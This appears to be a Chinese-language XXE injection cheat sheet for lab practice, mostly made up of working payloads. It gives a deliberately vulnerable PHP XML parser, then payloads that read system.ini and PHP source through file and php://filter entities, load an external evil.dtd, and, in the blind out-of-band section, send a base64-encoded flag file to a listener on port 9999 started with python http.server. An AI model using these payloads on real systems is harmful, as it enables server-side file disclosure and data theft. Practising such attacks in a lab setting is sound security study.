<?php $xmlfile = file_get_contents('php://input'); $creds=simplexml_load_string($xmlfile); echo $creds; ?>
POC:php
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
與1.1不同的是,引入的外部的dtdhtml
POC:python
********** post提交的數據: <?xml version="1.0"?> <!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd"> <creds>&b;</creds> ********** http://127.0.0.1/test/evil.dtd的數據 <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
******** post: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> %goodies; ]> <creds>&b;</creds> ******** evil.dtd <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
<table><tr><td bgcolor=orange>當裏面含有<,&時候,上邊的方法用file協議讀不出文件</td></tr></table>git
若是是php的話,能夠用php的filter協議直接讀出文件github
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <creds>&goodies;</creds>
<![CDATA["和 「]]> 拼接引用的內容,就能夠正常輸出 web
********** post提交的數據: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> ********* evil.dtd的內容 <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
********** post: <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd"> %remote;%int;%send; ]> ********** evil.dtd的內容 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>"> *********** python3 -m http.server 9999
最後引用實體的時候,老忘了打分號。<creds>&goodies;</creds>windows
沒有回顯的時候,要注意用filter結合file的絕對路徑post
filter能夠不用絕對路徑,可是有時候你是訪問你的index.html,php文件不必定是index.php。spa
靶場練習;code